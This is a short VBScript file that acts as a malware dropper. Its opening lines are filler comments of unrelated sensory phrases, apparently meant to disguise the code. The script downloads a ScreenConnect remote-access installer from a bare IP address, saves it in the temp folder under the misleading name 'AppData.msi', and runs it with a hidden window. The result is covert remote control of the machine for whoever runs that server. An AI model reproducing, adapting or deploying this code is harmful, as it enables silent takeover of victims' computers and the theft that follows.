Dim url, tempPath, http, stream
' The click of a gas pump handle locking
' Wrinkled map on the dashboard
' The fizz of a soda bottle opening
' Lanterns glowing in the garden
' The shadow of a windmill on a field
' Sunbeams through dusty curtains
' The smell of a crayon left in the sun
' The thump of a basketball on asphalt
' The click of a camera shutter at sunset
' The crunch of a leaf that was not dry yet
' The scrape of a shovel on a sidewalk
' A peanut shell in the sofa cushion gap
' A toy boat stuck in a drainpipe
' A napkin folded into a paper crane
' A coat hanger twisted into a hook
' The echo of a distant church bell

url = "http://64.89.160.169/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c=&c="

Set WshShell = CreateObject("WScript.Shell")
tempPath = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\AppData.msi"

Set http = CreateObject("MSXML2.ServerXMLHTTP")
http.Open "GET", url, False
http.Send

If http.Status = 200 Then
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1
    stream.Write http.responseBody
    stream.SaveToFile tempPath, 2
    stream.Close
    
    WshShell.Run Chr(34) & tempPath & Chr(34), 0
End If